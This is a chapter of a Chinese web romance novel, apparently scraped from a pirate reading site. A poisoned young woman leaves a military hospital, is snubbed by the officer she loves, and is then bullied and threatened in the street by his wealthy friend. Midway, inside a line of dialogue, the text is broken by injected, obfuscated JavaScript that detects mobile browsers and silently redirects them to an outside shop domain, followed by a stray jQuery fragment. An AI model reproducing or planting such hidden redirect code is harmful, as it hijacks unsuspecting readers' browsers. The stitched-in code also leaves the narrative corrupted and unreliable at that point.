林星再次醒来时,已经是在军医院了。
她中毒很深,毕竟血液直接接触到了毒液。
虽然及时打了解毒剂,但身体机能依然受到了损伤,要在病床上躺一个多月。
也许真的是出于误会她的愧疚,这段时间,祁洛不忙的时候都会来看她。
除了他和定期来巡逻的护士之外,好像全世界都把她遗忘了。
林星精神不太好,总是恹恹的,也就没有像过去那样总是热情地对待他。
祁洛也不在意,每次来都会带些吃食,放下说几句话就走,好像是在弥补先前的不公。
他对她好像好了一点,但这点好,似乎也只是回归到了他待人接物的平均水准上,并没有亲近半分。
林星不久后收到了政府对于演习意外的补偿金,还有本次医疗费全免的承诺,她忍不住想,也许祁洛这样不咸不淡地照拂她,也是政府的意思。
怕她起诉吧。
但林星不介意。
祁洛愿意对她好,她光顾着高兴了,又怎么会想其他。
出院那天,林星换下病号服,脸色还是有些苍白,养了一个多月,嘴唇依然没有血色,脸颊也消瘦许多,跟了她好多年的、有些肉嘟嘟的下巴也变成了尖下巴。
冬日阳光刺眼,踏出住院部的瞬间,她忍不住抬手遮住眼睛,适应了好一会儿。
她放下手时,一抬眼,就看见了不远处倚着银白色流线型悬浮车,显然正在等人的祁洛。
他今天没有穿军装,而是少见地穿了身定制白衬加黑色西装裤,简约凌厉。
独特剪裁更衬得他宽肩窄腰,双腿修长,这份好身材又因为他军人的端正仪态,由十分涨为了十二分。
祁洛鹰隼般的目光在人群里逡巡,好像是在找谁。
“祁洛!”
他那样显眼,林星第一时间就认出了他,下意识奔了过去,在离他几步远的地方气喘吁吁地停下,却在对上他的目光后,被他微皱的眉心吓得心里一咯噔。
下一刻,他的眉头又舒展开,视线越过她,径直落到她身后。
林星只觉得一阵香风拂过,便有一道窈窕背影与她擦肩,迈着轻快步伐,向祁洛迎去。
那女人身上的香气与林星廉价的橙花香洗衣粉的味道不一样。
是闻上去就让人舒心的雅致香水,应该是复合特调,但林星不认识。
她身材也比林星好得多,玲珑有致,肤色健康,充满生命力。
一身白色简约小香风上衣,搭配修身顺垂感黑色长裤,清爽干练,一眼看上去,与祁洛的着装十分相配,无论是风格还是配色。
已经接近情侣装了。
林星僵在原地,眼睁睁看着祁洛转身打开后座的门,那女人笑着道了声谢,跨入车内,扶着挎包坐稳。
祁洛骨节分明的左手搭在车门上,右手插在兜里,倾身与她交谈了几句,提醒她系好安全带,才将车门带上。
等直起身,好像才想起来有林星这么个人一般,转身礼貌性问了一句:
“上车吗?”
林星失去了自己的声音。
这两个人之间,好像插不进第三个人了。
她的嘴巴张张合合,在好与不好之间来回打转。
看上去,有些木呆呆的。
过了几秒等不到她的回答,祁洛看了眼终端时间:
“这里左拐就是出租车站,你去那边等车吧,我还有事,先走了。”
说着绕到另一边钻进车后座,与女人并排而坐。
智能磁悬浮车检测到输入目的地,自动驾驶开启,载着林星茫然无措的目光,扬长而去。
林星捂住胸口,只觉得那里要裂开了,比中毒的时候还要疼。
她是他的女朋友吗?
他是为了接女朋友出院,才等在门口的吗?
林星想,他没有介绍她认识那个女人,也许是觉得,她们根本没有认识的必要。
本就不是一个世界的人。
一股没顶悲伤笼罩了她。
如果祁洛真的有了女朋友,那她……她也做不到横插一脚。
林星思绪纷乱,一阵冷风拂过,她打了个寒颤,于是强迫自己收回心神,抬腿往出租车站走去。
军医院的人流量巨大,出租车站也是常常处于满载状态。
她排在队伍里,看着人一点一点向前挪,按照这个速度,轮到自己恐怕还要等好久。
可是她等不了了。
出租屋离这里也不远,如果走回去,应该和等待要花费的时间差不多,而且还省下一笔车费。
林星离开了队伍,看了眼暮色,紧了紧身上的外套,转身迎着落日踽踽独行。
……
“哎,你看,那不是祁少校身边的小跟班吗?祁少校今天休假,她竟然没见缝插针扑上去?”一辆悬浮车内,有人问莱茵。
莱茵没正形地靠着红棕色真皮椅背,扯了扯松散领口,头上还裹着绷带,显然也是刚刚出院,瞥一眼窗外,不耐道:
“你管她呢?她不找祁哥正好,祁哥今天接斯特菈出院,斯特菈要是看见她,心里肯定膈应。”
那人嘟囔:“今天这么巧,你们仨一起出的院?”
“仨?除了我跟斯特菈,还有谁?”
“就那个小跟班啊,我记得祁少校亲自送她来的。说是中了很深的毒,可能对神经也有影响,那之后祁少校就经常来看人,生怕祁家因为这事沾上什么污点。”
说话人忽然压低声音,凑到莱茵耳边道:
“我听说,有人贪污军需品,把万能解毒剂换成了次品,才导致效果发挥不好,让人遭了这么大的罪。上面已经在查了,但是受害者这边,上面的意思是要瞒着,别让她闹起来。不然谁的面子也不好看。好在她是贫民窟出来的,没依没靠的,赔点钱就了事,事情压下去也就压下去了。”
莱茵眼神一动,凝视着窗外那个弯下身子,将大衣裹到下巴处,顶着寒风行走的女孩,忽然一挑眉,笑道:
“是啊,还好是个贫民窟出来的。”
他怎么就没想到呢。
贫民窟的人,是最好打发的。
祁哥自恃身份,不愿意出手,那他来出手,总可以吧。
下一秒,他推开车门下了车。
同伴嚷道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081327|149205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“大少爷,你这是干嘛去?”
莱茵懒懒摆了摆手:
“堵车,太闷了,下去走走。”
“哎,哥几个还给你准备了庆祝出院的接风宴呢!喂!”
……
晚来风急,气温已经降到了七八度左右。
林星衣衫单薄,冷风几乎渗过布料往骨子里钻。
她哆哆嗦嗦地拢紧领口,正站在红绿灯前,等待过马路,身旁忽然多出来一个人。
男人高大身形替她挡住了凛冽寒风,她没有在意,却听头顶传来一道熟悉声线:
“你家住哪?”
她猛地抬头,被冷风刮得泛红的小脸,在看到莱茵的一瞬间僵住了,露出怯意。
莱茵很满意她的反应,恶劣地故意逗她:
“怎么这个表情?怕我?问你家住哪儿呢,难不成你这几个月都在睡桥洞?”
林星没有理他,正好绿灯到了,她匆匆加快步伐,试图甩开他。
莱茵还从来没有被人这样无视过,逆反心理蹭一下上来了,迈开长腿跟上去,没话找话道:
“我听人说了,祁哥以前失踪的时候,是跟你在贫民窟谈恋爱?你要怎么证明?”
见她不理不睬,莱茵绕到她面前,林星没刹住脚,便一头撞进了他怀里。
少年人胸膛坚硬温暖,他有些好笑地双手插兜站在原地,居高临下地俯视捂住鼻子发抖的林星:
“你还说他喜欢喝咖啡,笑死了,整个首都都知道他是个不喝咖啡的怪胎,他讨厌苦味,你这都不知道?”
面对他蓄意的找茬,林星见退让没有用,只能深吸一口气,抬起头来:
“我跟他的事,不需要向你证明。”
语气硬邦邦的,但搭配冻红的鼻尖,显得像是在逞强。
莱茵舌尖轻舔后槽牙,咬牙笑道:
“行。不关我事。就算你们的事是真的,他除了欠你一张车票钱,也没别的牵扯了吧?多少钱,我给你,再加上那五年照顾他的辛苦费,拿了钱就滚,成吗?”
林星刚想开口,又被他拿话堵住:
“要是你还琢磨着嫁入豪门的话,还是省省吧。做人贵在有自知之明,是不是?”
林星没有被他的话刺到,根本懒得理他,脚下一转就要绕过他,又被抓住胳膊轻而易举拖了回来。
“躲什么?心虚了?”
“外面很冷,我想回家了。”
“行啊,走,一起回家,我们好好聊聊。”
莱茵毫不在意地松开手,双手插进裤兜,一副请她带路的样子。
林星没有动:
“不要。”
她明确拒绝,相当干脆。
已经伤害过她一次的人,他说的话,她一个标点符号也不信。
“林星,我问你住哪儿,是在给你脸。”莱茵忽然微微低头,笑容不变,不知情的外人看来,像是在跟女朋友亲密耳语,然而他说出的话却是明晃晃的威胁,“你不回答我,等我用别的手段找到了,下次见面就不会这么愉快了。”
他满意地看到面前女孩的表情更加僵硬,胆怯从打颤的指尖藏不住地漏出来。